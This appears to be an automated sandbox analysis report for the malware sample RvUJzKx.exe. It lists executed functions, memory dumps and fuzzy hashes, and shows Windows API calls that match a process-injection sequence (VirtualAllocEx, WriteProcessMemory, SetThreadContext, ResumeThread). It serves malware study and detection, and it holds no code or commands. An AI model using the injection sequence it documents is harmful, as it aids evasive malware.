Opcode Fuzzy Hash: 7a59b4713cba299ed0bf47ffa8811ec57d0184e24f65489fa1e0d4c4e74ea53f
Instruction Fuzzy Hash: 85E0D8B1E14248ABDB90DE70C91871B775DE745314F2048A2F805D7201E177C9014741

Analysis Process: RvUJzKx.exePID: 6492, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	97
Total number of Limit Nodes:	5

Executed Functions

Function 0848F200 Relevance: 1.7, APIs: 1, Instructions: 165
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 0848F1C2

Memory Dump Source

Source File: 0000000A.00000002.2193410346.0000000008480000.00000040.00000800.00020000.00000000.sdmp, Offset: 08480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8480000_RvUJzKx.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 67ff0bbd2ab49f1077da813c5412f405b64449b624c18f3810662962e277b7c7
Instruction ID: 59f52b7f5308ba94f8e9bf3f8bd2028ae2bdbb3907083ce695e5f74a8e41568e
Opcode Fuzzy Hash: 67ff0bbd2ab49f1077da813c5412f405b64449b624c18f3810662962e277b7c7
Instruction Fuzzy Hash: 03616A70E00219CFDB14DFA9C9846AEFBF2FF89305F24866AD448A7255CB359942CF61

Function 00BADB50 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00BADBDE
GetCurrentThread.KERNEL32 ref: 00BADC1B
GetCurrentProcess.KERNEL32 ref: 00BADC58
GetCurrentThreadId.KERNEL32 ref: 00BADCB1

Memory Dump Source

Source File: 0000000A.00000002.2185362260.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_RvUJzKx.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 9d7875827197a329e59059efd785eac813fcdd4695cf1969168aecea641f4e78
Instruction ID: 019fd4a428c457dd017033cb19d6f3323c2caa1198a33498e04210fe401e4f7e
Opcode Fuzzy Hash: 9d7875827197a329e59059efd785eac813fcdd4695cf1969168aecea641f4e78
Instruction Fuzzy Hash: 925186B09003498FDB14CFA9D548BDEBBF1FF88324F208059E049A7290DBB95944CF65

Function 00BADB60 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00BADBDE
GetCurrentThread.KERNEL32 ref: 00BADC1B
GetCurrentProcess.KERNEL32 ref: 00BADC58
GetCurrentThreadId.KERNEL32 ref: 00BADCB1

Memory Dump Source

Source File: 0000000A.00000002.2185362260.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_RvUJzKx.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 8bbde7437def9ba770ec73d11971940f336b178d5ab0ccad8682aa0d79698b63
Instruction ID: c209fddc44bf46d60072bd36659d2f4af1cb703f1cac1930289b944fe1d48038
Opcode Fuzzy Hash: 8bbde7437def9ba770ec73d11971940f336b178d5ab0ccad8682aa0d79698b63
Instruction Fuzzy Hash: 3C5155B09003498FDB14DFA9D548B9EBBF1FF88324F208459E059A7350DBB59944CF65

Function 0554F835 Relevance: 1.8, APIs: 1, Instructions: 251
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0554FA76

Memory Dump Source

Source File: 0000000A.00000002.2192446794.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5540000_RvUJzKx.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 3ead03fb3f48b1b484e99f599296dcf5630b9016cf29d7de2a0e0d28fb037e81
Instruction ID: 1f884d2907887f4b641a430b6a34d0fcf7ce8ecbb1783c8e996ecebabb730cb0
Opcode Fuzzy Hash: 3ead03fb3f48b1b484e99f599296dcf5630b9016cf29d7de2a0e0d28fb037e81
Instruction Fuzzy Hash: BDA15971D00259DFEF24CF68C841BEEBBB2BF49318F1485A9E849A7240DB749985CF91

Function 0554F840 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0554FA76

Memory Dump Source

Source File: 0000000A.00000002.2192446794.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5540000_RvUJzKx.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a3a887832425a89c070e5039c3ae04af85b103ccac9facbacc1e705b3f59304a
Instruction ID: 1283eacf8840dc6ee5f6840ae2f3fb792478f7e753f38e4d7c5445508862309d
Opcode Fuzzy Hash: a3a887832425a89c070e5039c3ae04af85b103ccac9facbacc1e705b3f59304a
Instruction Fuzzy Hash: 73915871D00259DFEF24CF68C841BEEBBB2BF49318F1485A9E849A7240DB749985CF91

Function 00BAB8C2 Relevance: 1.7, APIs: 1, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00BABB26

Memory Dump Source

Source File: 0000000A.00000002.2185362260.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_RvUJzKx.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: fee748ecf0a13931df2259fadb8f97dbc8a109a82d5c1f935acff8c79be789ae
Instruction ID: a7f52cd0ebf3585a6dee30ae268dec11f402fc9e71e0005d7d7f177b3ca74623
Opcode Fuzzy Hash: fee748ecf0a13931df2259fadb8f97dbc8a109a82d5c1f935acff8c79be789ae
Instruction Fuzzy Hash: D8814370A04B058FD724CF69D440BABBBF1FF89300F00896ED19AD7A52DB74A945CB90

Function 00BA5D0D Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00BA5DC9

Memory Dump Source

Source File: 0000000A.00000002.2185362260.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_RvUJzKx.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 9707e678b148f1eedfc3c675c28ff7e2edb0dcd2ece1d8ab4bdfa094776a24a5
Instruction ID: 08ef497a50343ac04ca4224c0f753006c082975b291ef8c508384255f4a444c7
Opcode Fuzzy Hash: 9707e678b148f1eedfc3c675c28ff7e2edb0dcd2ece1d8ab4bdfa094776a24a5
Instruction Fuzzy Hash: 6D41C1B0C00719CBDB24CFA9C944B9EBBF5BF89704F20816AD448AB255DBB55A45CF90

Function 00BA454C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00BA5DC9

Memory Dump Source

Source File: 0000000A.00000002.2185362260.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_RvUJzKx.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 82881917e296b9f557965a9d0af52d1292d3cc068cda3599854355257cc32802
Instruction ID: 497949b60df683ab2c8215702d893c69bf8356d76cb1550e7fe3cd20d53fecbe
Opcode Fuzzy Hash: 82881917e296b9f557965a9d0af52d1292d3cc068cda3599854355257cc32802
Instruction Fuzzy Hash: 8C41E0B0C0471DCBDB24CFA9C948B9EBBF5BF49704F60806AD408AB255DBB56A45CF90

Function 0848FC11 Relevance: 1.6, APIs: 1, Instructions: 74
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 0848FCA8

Memory Dump Source

Source File: 0000000A.00000002.2193410346.0000000008480000.00000040.00000800.00020000.00000000.sdmp, Offset: 08480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8480000_RvUJzKx.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 0d2e618ba82b03f1c5666a986d521b1c3b0b1a5d84bee1af2c4359a0de6d02f9
Instruction ID: 47ad71ce5ed3b797248aa4c8c4ffc0b38c13d3e3ef0b2c631fffb763596dfcdf
Opcode Fuzzy Hash: 0d2e618ba82b03f1c5666a986d521b1c3b0b1a5d84bee1af2c4359a0de6d02f9
Instruction Fuzzy Hash: 092126B6900349DFDF10DFA9C881BDEBBF5BF48320F10842AE918A7240D7789954CBA4

Function 0848FC18 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 0848FCA8

Memory Dump Source

Source File: 0000000A.00000002.2193410346.0000000008480000.00000040.00000800.00020000.00000000.sdmp, Offset: 08480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8480000_RvUJzKx.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d62933f7375d19a31898b226f6bccd17a96fc73302160ec0260d8e553346842c
Instruction ID: 3cfb55208e7e6df81c9d7d9c5fbb38b0d21f6026b32390fa1a99ebe1c2e87150
Opcode Fuzzy Hash: d62933f7375d19a31898b226f6bccd17a96fc73302160ec0260d8e553346842c
Instruction Fuzzy Hash: E12115B2900349DFDB10DFA9C985BDEBBF5FF48310F10842AE918A7240D7789954CBA4

Function 0554F6A0 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0554F728

Memory Dump Source

Source File: 0000000A.00000002.2192446794.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5540000_RvUJzKx.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 5d01ff436717bd0a6aa8a037406b6a9455611c9f1b4adb1bbf5bc6e9c8a6cdc0
Instruction ID: d95dbbbe26439c183c9fb101fedb713c9b1ea8485bbf83534b1b69ef5038506d
Opcode Fuzzy Hash: 5d01ff436717bd0a6aa8a037406b6a9455611c9f1b4adb1bbf5bc6e9c8a6cdc0
Instruction Fuzzy Hash: 252125B18003499FDF10CFAAC885ADEFBF5FF48320F108429E558A7240D7789951CBA5

Function 0848F640 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0848F6C6

Memory Dump Source

Source File: 0000000A.00000002.2193410346.0000000008480000.00000040.00000800.00020000.00000000.sdmp, Offset: 08480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8480000_RvUJzKx.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: dace30b605d56160e45851b041213db01d98353a3abbf83a92b4997ba7ce2e48
Instruction ID: b85330621092cb2df564f693e0aa31975ae4c1ef8046ca085f6b8d3b96c190c2
Opcode Fuzzy Hash: dace30b605d56160e45851b041213db01d98353a3abbf83a92b4997ba7ce2e48
Instruction Fuzzy Hash: B6214A719003499FDB10DFAAC48579EBBF4AF48324F14842ED558A7240DB789545CFA5

Function 00BADDA0 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00BADE2F

Memory Dump Source

Source File: 0000000A.00000002.2185362260.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_RvUJzKx.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: fe734302b9e7e643e9c10081ff1697e44744457c973c8530584fc9f0ab6464f6
Instruction ID: bb738bba2ca7ac5e9261968a8dba1783f1d3866493c4636b9b6cfa57291a9ebe
Opcode Fuzzy Hash: fe734302b9e7e643e9c10081ff1697e44744457c973c8530584fc9f0ab6464f6
Instruction Fuzzy Hash: 2B21E3B5901249AFDB10CF9AD984ADEBBF4FB48320F14845AE918A7210D379A955CFA0

Function 0554F6A8 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0554F728

Memory Dump Source

Source File: 0000000A.00000002.2192446794.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5540000_RvUJzKx.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: b4ed17c972a6ad11c631029619e51b9140f608096647fbc380e8f7f820e757b6
Instruction ID: f52431790c1e52c99ad73374bc937d32c14d8d711014f0d2b1e579e0e26bca55
Opcode Fuzzy Hash: b4ed17c972a6ad11c631029619e51b9140f608096647fbc380e8f7f820e757b6
Instruction Fuzzy Hash: FA2114B18003499FDB10CFAAC881AEEBBF5FF48320F10842AE519A7240D7789911CBA5

Function 0848F648 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0848F6C6

Memory Dump Source

Source File: 0000000A.00000002.2193410346.0000000008480000.00000040.00000800.00020000.00000000.sdmp, Offset: 08480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8480000_RvUJzKx.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e594c12275599cea7539ff98d94820121eaf53c1c6700d3bc8c138ce7bf0515f
Instruction ID: 42b8bc5e52c3dcec423d020e642c1b5103b113f935ba39cf36fd5b7829afeaf4
Opcode Fuzzy Hash: e594c12275599cea7539ff98d94820121eaf53c1c6700d3bc8c138ce7bf0515f
Instruction Fuzzy Hash: 40211871D003098FDB10DFAAC4857AEBBF4AF88324F14842AD559A7250DB78A945CFA5

Function 00BADDA8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00BADE2F

Memory Dump Source

Source File: 0000000A.00000002.2185362260.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_RvUJzKx.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 22f1e173c6793ad57a17110995056487c06dc254c56532771bedf9d264d7da9d
Instruction ID: 1f2993172c9c09c5e69924f00a6aa3134cd19878a6258d40940e2caedb266baf
Opcode Fuzzy Hash: 22f1e173c6793ad57a17110995056487c06dc254c56532771bedf9d264d7da9d
Instruction Fuzzy Hash: 5F21E4B59002499FDB10CF9AD984ADEFBF4FB48320F14801AE914A7310D378A950CF60

Function 0848FB51 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0848FBC6

Memory Dump Source

Source File: 0000000A.00000002.2193410346.0000000008480000.00000040.00000800.00020000.00000000.sdmp, Offset: 08480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8480000_RvUJzKx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d4c296baaeb8fe4750b3e290c4fd969370019f6072b882177d0ab11bea549826
Instruction ID: 2bbe0c1db9118dc013765a5b3be2e8d4e023da19c59d81637613fc942541626a
Opcode Fuzzy Hash: d4c296baaeb8fe4750b3e290c4fd969370019f6072b882177d0ab11bea549826
Instruction Fuzzy Hash: 06115972900249DFDF10DFAAD845BDFBBF5AF88720F20841AE919A7250CB759911CFA1

Function 0848F158 Relevance: 1.6, APIs: 1, Instructions: 55threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 0848F1C2

Memory Dump Source

Source File: 0000000A.00000002.2193410346.0000000008480000.00000040.00000800.00020000.00000000.sdmp, Offset: 08480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8480000_RvUJzKx.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 26bea94c944a63733c6f7b80509bf264a96502d6aab0599ff44b3e43f33fd9dd
Instruction ID: 52439ffd23ddddf4dac5995331bfb805221fbbce527528c96871c8bfc27e8a8a
Opcode Fuzzy Hash: 26bea94c944a63733c6f7b80509bf264a96502d6aab0599ff44b3e43f33fd9dd
Instruction Fuzzy Hash: 97112671900349CFDB10EFAAC84579EFBF4AF88724F24881AD559A7240DB796944CBA4

Function 0848FB58 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0848FBC6

Memory Dump Source

Source File: 0000000A.00000002.2193410346.0000000008480000.00000040.00000800.00020000.00000000.sdmp, Offset: 08480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8480000_RvUJzKx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ba5ffc7bc1c545056d3a837425a0e25eabd0601e6ad920eb510e85e172865396
Instruction ID: 88950973adbbac9309bd8ad52a1793cd8b44a3b79a0fd70c622425af6b7e2742
Opcode Fuzzy Hash: ba5ffc7bc1c545056d3a837425a0e25eabd0601e6ad920eb510e85e172865396
Instruction Fuzzy Hash: 7C1147728002499FDB10DFAAC844BDFBBF5AF88320F10841AE515A7250CB75A510CBA1

Function 0848F160 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 0848F1C2

Memory Dump Source

Source File: 0000000A.00000002.2193410346.0000000008480000.00000040.00000800.00020000.00000000.sdmp, Offset: 08480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8480000_RvUJzKx.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4f3c2f074e1144bb9e2a633e530e8522c631edb722355270180a227e7f162740
Instruction ID: ac47e2c4551b1c10f2f07648960c3f9111cbbae6eb74b6dcab92494b0e145ba4
Opcode Fuzzy Hash: 4f3c2f074e1144bb9e2a633e530e8522c631edb722355270180a227e7f162740
Instruction Fuzzy Hash: 981125B19003498FDB20DFAAC84579EFBF4AF88724F24841AD519A7240CB79A944CBA5

Function 00BABAC0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00BABB26

Memory Dump Source

Source File: 0000000A.00000002.2185362260.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_RvUJzKx.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 18a320025c86fa01ca4ca3b54c4754da82667e42698d87fb9087109601e8d4d0
Instruction ID: 37b6fb307b51a08d579bc0c113cfc45d94ef50dccce36f6bd5bb9c490565cd29
Opcode Fuzzy Hash: 18a320025c86fa01ca4ca3b54c4754da82667e42698d87fb9087109601e8d4d0
Instruction Fuzzy Hash: C4110FB6C003498FCB10CF9AD844A9EFBF4EF89320F10845AD428A7611C3B9A545CFA1

Function 00B4D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2184444588.0000000000B4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b4d000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc44db92f696bed0b89ffd9af4247ba56abffae2ce6c75d23996810d5bef3173
Instruction ID: 8964154f81a1689f7d4da1e733ac1d3423473ba171827d1a1c26d952e9e3c501
Opcode Fuzzy Hash: fc44db92f696bed0b89ffd9af4247ba56abffae2ce6c75d23996810d5bef3173
Instruction Fuzzy Hash: 74213A76504204DFDB05DF14D9C0B26BFA5FB94324F20C5ADE9090B356C33AE956DBA2

Function 00B4D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2184444588.0000000000B4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b4d000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bff6477e81874fda66bee5e65c621c2677a041633151dc75f020d429320e9647
Instruction ID: 90d3d7513b509e5ce9d9a21184a870f43b73f0ceec578cb9e5a70aa52504a3d0
Opcode Fuzzy Hash: bff6477e81874fda66bee5e65c621c2677a041633151dc75f020d429320e9647
Instruction Fuzzy Hash: 64212572604240EFDB05DF14D9C0B2ABFA5FB98318F20C5ADE9090B256C736D956EAA1

Function 00B5D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2184511890.0000000000B5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b5d000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6afee45fbba670c9dd5b48b795c5d5e96d6d4218f78d46bf9eab93b09d38ee8
Instruction ID: 692eadab7465f79b8810ac97daee7ecdb3d115405099b4c715543f825f8268f7
Opcode Fuzzy Hash: a6afee45fbba670c9dd5b48b795c5d5e96d6d4218f78d46bf9eab93b09d38ee8
Instruction Fuzzy Hash: 8321D075604204EFDB25DF14D9C0B26BBA5FB88315F20C6EDED094B292C777D84ACA61

Function 00B5D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2184511890.0000000000B5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b5d000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46dab3c982c5c4f44246d51a3a1eeee750c8108d17309ab8a3e4ce16e1bafd74
Instruction ID: 42c5296902fa53f49ff27cf7e5f19cf7717507c91e388444744c491be9bf74d4
Opcode Fuzzy Hash: 46dab3c982c5c4f44246d51a3a1eeee750c8108d17309ab8a3e4ce16e1bafd74
Instruction Fuzzy Hash: D1212575504240DFDB24DF14D5D0B26BBA1FB84315F28C6EDDD0A4B292C37AD80BCA61

Function 00B5D005 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2184511890.0000000000B5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b5d000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47d543a8d7b3e628c83fa6346eb213e35b07ed2e6856d46777d609132b17146a
Instruction ID: 0c339957e535836f1a0eae5d37150aae2d88f239784e4ada220d6df778e0b722
Opcode Fuzzy Hash: 47d543a8d7b3e628c83fa6346eb213e35b07ed2e6856d46777d609132b17146a
Instruction Fuzzy Hash: 3C2187755093C48FDB16CF20D594715BF71EB45314F28C6DAD8498B6A7C33AD80ACB62

Function 00B4D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2184444588.0000000000B4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b4d000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction ID: 667f82dd535a8cc80e75c1265ecf6cf2c363aef3e4754653e96345393d992848
Opcode Fuzzy Hash: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction Fuzzy Hash: 39110376504280CFCB01CF10D5C0B16BFB1FB94318F24C6E9D8490B256C33AD956DBA1

Function 00B4D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2184444588.0000000000B4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b4d000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction ID: 5f5bf2a02a40892eadd4cf53bee52a9d7bfc0be9e8ef67009677179f966a1401
Opcode Fuzzy Hash: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction Fuzzy Hash: F011B1B6504280DFCB15CF10D5C4B16BFB1FB94324F24C6A9D8490B756C33AE956DBA1

Function 00B5D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2184511890.0000000000B5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b5d000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction ID: e97f4dd9754eddae360818c5bdefca4ecf11ac0c1d2ab7bd8ac262f9b6429d95
Opcode Fuzzy Hash: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction Fuzzy Hash: AB117975504284DFCB15CF10D5C4B15BBA1FB84314F24C6E9DC494B6A6C37AD84ACB61

Analysis Process: RvUJzKx.exePID: 6820, Parent PID: 6492COMMON

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	18
Total number of Limit Nodes:	5

Executed Functions

Function 06AE55C0 Relevance: 1.8, Strings: 1, Instructions: 596
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06AE5C67

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: ca08e48043a5d9a604ac211a1b1f57b3d587bc64a0db8ec750d3120fb23f19ce
Instruction ID: ecdf1bca5052d6c3abf6c547f7cfb4a452eb1ae00b12ca90f3e685eb1510c685
Opcode Fuzzy Hash: ca08e48043a5d9a604ac211a1b1f57b3d587bc64a0db8ec750d3120fb23f19ce
Instruction Fuzzy Hash: BC22BF75F102158FDF64EBA4E4906AEBBB2EF84318F248469D45AAF341DB36DC41CB90

Function 06AE6600 Relevance: .8, Instructions: 819COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c9dd249e845bec6a1e4013fc350c71df55e3244d0e74a4cd5a3b3cd9da78804
Instruction ID: f188a222f728f1cf5e472bf75722da725dbb2c2af3f839c40b2c87c2c1c32e78
Opcode Fuzzy Hash: 9c9dd249e845bec6a1e4013fc350c71df55e3244d0e74a4cd5a3b3cd9da78804
Instruction Fuzzy Hash: 41627D34B102058FDB54EB68D594BAEB7F2EF88314F149869E406EB391DB75ED42CB80

Function 06AEC198 Relevance: .6, Instructions: 643
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b784c7024195c884374789edea3f14ae0329ee63ea8e17c28ce29aeb227464f3
